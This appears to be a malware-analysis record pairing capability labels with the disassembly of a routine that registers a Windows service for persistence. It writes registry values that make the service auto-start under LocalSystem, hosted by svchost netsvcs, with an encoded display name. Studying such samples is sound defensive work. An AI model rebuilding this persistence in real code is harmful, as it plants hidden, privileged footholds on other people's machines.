Function at 0x10001930
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa34
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 8], eax
mov word [ebp - 0x808], 0
push 0x7fe
push 0
lea eax, [ebp - 0x806]
push eax
call fcn.1000a200
add esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0x80c], 0
mov ecx, dword [ebp + 8]
push ecx
push str.SYSTEMCurrentControlSet_services_s
lea edx, [ebp - 0x808]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [ebp - 0xa34], 0
lea eax, [ebp - 0xa34]
push eax
lea ecx, [ebp - 0x808]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x100019c5
mov edx, dword [ebp - 0xa34]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10001bc3
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x808]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 0
je 0x100019fe
jmp 0x10001bc3
mov dword [ebp - 0x828], 0x100139fc
mov edx, dword [ebp - 0x828]
push edx
call fcn.1000a27a
add esp, 4
lea eax, [eax + eax + 2]
push eax
mov ecx, dword [ebp - 0x828]
push ecx
push 1
push 0
push str.Description
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001a3f
jmp 0x10001bc3
mov word [ebp - 0xa30], 0
push 0x206
push 0
lea eax, [ebp - 0xa2e]
push eax
call fcn.1000a200
add esp, 0xc
push 6
push str.Vm1wS01HRXlSWGxTYkdScFVtMTRWbGxzYUc5aFJsWlhWVmhrVUZWVU1Eaz0
lea ecx, [ebp - 0xa30]
push ecx
call fcn.10003720
add esp, 0xc
lea edx, [ebp - 0xa30]
push edx
call fcn.1000a27a
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xa30]
push ecx
push 1
push 0
push str.DisplayName
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001aab
jmp 0x10001bc3
mov dword [ebp - 0x820], str.LocalSystem
mov eax, dword [ebp - 0x820]
push eax
call fcn.1000a27a
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp - 0x820]
push edx
push 1
push 0
push str.ObjectName
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001aec
jmp 0x10001bc3
mov dword [ebp - 0x818], 0
push 4
lea ecx, [ebp - 0x818]
push ecx
push 4
push 0
push str.ErrorControl
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001b1b
jmp 0x10001bc3
mov dword [ebp - 0x824], str._SystemRoot_System32_svchost.exe__k_netsvcs
mov eax, dword [ebp - 0x824]
push eax
call fcn.1000a27a
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp - 0x824]
push edx
push 2
push 0
push str.ImagePath
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001b59
jmp 0x10001bc3
mov dword [ebp - 0x81c], 2
push 4
lea ecx, [ebp - 0x81c]
push ecx
push 4
push 0
push 0x10013ba0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001b85
jmp 0x10001bc3
mov dword [ebp - 0x814], 0x20
push 4
lea eax, [ebp - 0x814]
push eax
push 4
push 0
push str.Type
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10001bb1
jmp 0x10001bc3
mov dword [ebp - 0x80c], 1
xor edx, edx
jne 0x10001973
cmp dword [ebp - 4], 0
je 0x10001bd3
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret